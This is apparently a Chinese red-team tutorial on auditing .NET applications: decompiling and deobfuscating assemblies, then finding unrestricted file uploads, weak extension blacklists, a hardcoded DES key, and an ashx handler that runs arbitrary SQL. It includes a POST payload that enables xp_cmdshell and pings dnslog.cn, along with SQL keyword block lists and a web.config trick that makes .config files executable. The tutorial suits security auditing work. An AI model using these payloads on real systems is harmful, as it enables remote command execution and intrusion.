攻防技巧|红队快速高效挖掘.net系统漏洞

File -> Open -> 选择整个 bin 目录dnSpy会自动加载所有程序集

# 安装 ilspycmddotnet tool install ilspycmd -g# 反编译整个目录ilspycmd -p -o output_dir .\bin\*.dll# 反编译到单个文件ilspycmd -p -o output.cs .\bin\YourApp.dll

@echo offchcp 65001setlocal enabledelayedexpansionREM 从当前目录递归查找所有 dllfor /R %%F in (*.dll) do (    REM %%F = 完整路径（含文件名和扩展名）    set "dll_path=%%F"    set "dll_name=%%~nF"    set "dll_dir=%%~dpF"    set "out_dir=%%~dpF%%~nF"    echo 正在导出 "%%F" 到 "!out_dir!\ ..."    if not exist "!out_dir!\" mkdir "!out_dir!"    ilspycmd -p -o "!out_dir!" "%%F")echo 全部完成！pause

private string \u0001;private void \u0002(string \u0003){    if (this.\u0001 == \u0003)}

de4dot.exe source.dll -o Remove_obfuscated.dllde4dot.exe -r D:\input -ru -ro D:\output

#!/usr/bin/env python3import osimport subprocessimport shutilfrom pathlib import Pathimport timedef main():    print("🔧 快速de4dot批量反混淆工具")    print("=" * 40)    try:        result = subprocess.run(["de4dot", "--help"], capture_output=True, text=True, timeout=5)        if result.returncode != 0:            raise Exception("de4dot命令执行失败")        print("✅ de4dot全局命令检查通过")    except Exception as e:        print(f"❌ de4dot全局命令不可用: {e}")        return    current_dir = Path(".")    dll_files = []    for pattern in ["*.dll", "*.exe"]:        dll_files.extend(current_dir.glob(pattern))    exclude_patterns = [        "System.", "Microsoft.", "Newtonsoft.", "EntityFramework",        "Oracle.", "MySql.", "NLog.", "Quartz.", "RestSharp",        "StackExchange.", "Thinktecture.", "BouncyCastle"    ]    filtered_files = [f for f in dll_files if not any(p in f.name for p in exclude_patterns)]    if not filtered_files:        print("❌ 当前目录没有找到需要处理的DLL文件")        return    print(f"📁 找到 {len(filtered_files)} 个文件需要处理:")    for f in filtered_files:        print(f"   - {f.name}")    output_dir = Path("deobfuscated")    output_dir.mkdir(exist_ok=True)    print(f"\n🚀 开始处理...")    print(f"输出目录: {output_dir.absolute()}")    success_count = 0    start_time = time.time()    for i, dll_file in enumerate(filtered_files, 1):        print(f"\n[{i}/{len(filtered_files)}] 🔄 处理: {dll_file.name}")        try:            output_subdir = output_dir / dll_file.stem            output_subdir.mkdir(exist_ok=True)            cmd = ["de4dot", str(dll_file), "-o", str(output_subdir / dll_file.name)]            print(f"   执行: {' '.join(cmd)}")            result = subprocess.run(cmd, capture_output=True, text=True, timeout=300)            if result.returncode == 0:                print(f"   ✅ 成功: {dll_file.name}")                success_count += 1            else:                print(f"   ❌ 失败: {dll_file.name}")        except subprocess.TimeoutExpired:            print(f"   ⏰ 超时: {dll_file.name}")        except Exception as e:            print(f"   ❌ 异常: {dll_file.name} - {e}")    end_time = time.time()    print(f"\n📊 处理完成! 成功 {success_count}/{len(filtered_files)} 个, 耗时 {end_time - start_time:.1f} 秒")    print(f"输出目录: {output_dir.absolute()}")    print("\n🎉 批量反混淆完成!")if __name__ == "__main__":    main()

漏洞类型

漏洞Sink点

审计描述

var controllerTypes = typeof(MvcApplication).Assembly.GetTypes()    .Where(t => t.IsSubclassOf(typeof(Controller)));foreach (var ctrl in controllerTypes){    var actions = ctrl.GetMethods(BindingFlags.Public | BindingFlags.Instance)        .Where(m => m.ReturnType.IsSubclassOf(typeof(ActionResult)) || m.ReturnType == typeof(ActionResult));    Console.WriteLine($"{ctrl.Name}: {string.Join(", ", actions.Select(a => a.Name))}");}

<handlers> <add name="AjaxMethod" verb="POST,GET" path="ajax/*.ashx" type="Ajax.PageHandlerFactory, Ajax" /> <add name="scissors" path="scissors.axd" verb="*" type="BitmapCutter.Core.HttpHandler.BitmapScissors,BitmapCutter.Core" /></handlers>

[Route("uploadAnony")][AllowAnonymous][HttpPost]public IHttpActionResult uploadAnony(string code){    HttpPostedFile A3 = HttpContext.Current.Request.Files[Class0.aHX()];    string A4 = A2[Class0.ahA()];    string B = A4.Split('.').ToList().Last();    A3.SaveAs(text);}

exec|insert|select|delete|update|truncate|or|drop|xp_cmdshell|waitfor delay|--

union, and, or, where, from, table, database, information_schema, waitfor, delay, sleep, benchmark, extractvalue, updatexml

string fileName = Path.GetFileName(fileUpload.FileName);string fileExt = Path.GetExtension(fileName)?.ToLowerInvariant();string[] banned = { ".asp", ".aspx", ".jsp", ".jspx" };if (banned.Contains(fileExt)){    Response.Write("不允许上传的文件类型");    return;}

<handlers accessPolicy="Read, Script, Write">   <add name="web_config" path="*.config" verb="*"         modules="IsapiModule"        scriptProcessor="%windir%\system32\inetsrv\asp.dll"        resourceType="Unspecified"        requireAccess="Write" preCondition="bitness64" /></handlers><security>   <requestFiltering>      <fileExtensions>         <remove fileExtension=".config" />      </fileExtensions>      <hiddenSegments>         <remove segment="web.config" />      </hiddenSegments>   </requestFiltering></security>

public void ProcessRequest(HttpContext context){ context.Response.Cache.SetCacheability(HttpCacheability.NoCache); switch (context.Request["action"]) { case "ExcuteNonQuerry": ExcuteNonQuerry(context); break; case "GetDataTableByText": GetDataTableByText(context); break;

string cmdText = context.Request["cmdtext"];

bool flag = iDDatabase.ExecuteNonQuery(cmdText);DataSet dataSet = iDDatabase.GetDataSet(cmdText);

POST /xxxxx/AppData.ashx HTTP/1.1Host: target.comContent-Type: application/x-www-form-urlencodedCookie: XXXaction=ExcuteNonQuerry&cmdtext=EXEC+sp_configure+'show+advanced+options',1;RECONFIGURE;EXEC+sp_configure+'xp_cmdshell',1;RECONFIGURE;EXEC+xp_cmdshell+'ping+dnslog.cn'

GUARDER gUARDER = base.IocBase.GUARDERService.Get((GUARDER o) => o.IDENTITYNO == gidcard);if (gUARDER == null){    return HtmlHelpers.FailJsonResult("身份证号不存在！");}

string message = gurpass;gurpass = des.DesDecrypt("123456", message);public static string DesDecrypt(string key, string message){     return DES(key, HexToString(message), isEncrypt: false, 0, "");}

WeiXinController.DoResetGPwd()    ↓des.DesDecrypt()    ├─→ HexToString()    └─→ DES()        ├─→ DES_CreateKey()        │   └─→ MoveByte()        └─→ MoveByte()

# 查找文件上传相关代码grep -r "SaveAs\|WriteAllBytes\|FileStream.*Write" decompiled_output/grep -r "HttpPostedFileBase\|IFormFile" decompiled_output/

private ResponseData UploadFiles(HttpContext context){    ResponseData responseData = new ResponseData();    string strErrorMsg;    List<Dictionary<string, string>> list = ReceiveFiles(context, AccessaryType.Customize, -1, out strErrorMsg);    // ...}{    if (context.Request.Files.Count > 0)    {        for (int i = 0; i < context.Request.Files.Count; i++)        {            HttpPostedFile httpPostedFile = context.Request.Files[i];            if (httpPostedFile.ContentLength > 0)            {                string extension = Path.GetExtension(httpPostedFile.FileName);  // ❌ 未验证                string text3 = Guid.NewGuid().ToString() + extension;                httpPostedFile.SaveAs(text2 + text3);  // ❌ 直接保存            }        }    }}

protected void Page_Load(object sender, EventArgs e){    if (base.Request.Files["Filedata"] != null)    {        HttpPostedFile httpPostedFile = base.Request.Files["Filedata"];        string text = base.Request["FilePath"];  // 用户可控的路径        if (string.IsNullOrEmpty(text))        {            string text2 = base.Request["PathType"];  // 用户可控            if (string.IsNullOrEmpty(text2) || text2 == "Default")            {                 text = $"Accessary/{DateTime.Today.Year:D4}/{DateTime.Today.Month:D2}";            }            else            {                AccessaryType accessaryType = (AccessaryType)Enum.Parse(typeof(AccessaryType), text2, ignoeCase: true);                text = CGeneral.GetAccessaryDir(accessaryType);            }        }

string folder = Request["folder"];string path = Path.Combine("~/uploads/", folder, fileName);  file.SaveAs(Server.MapPath(path));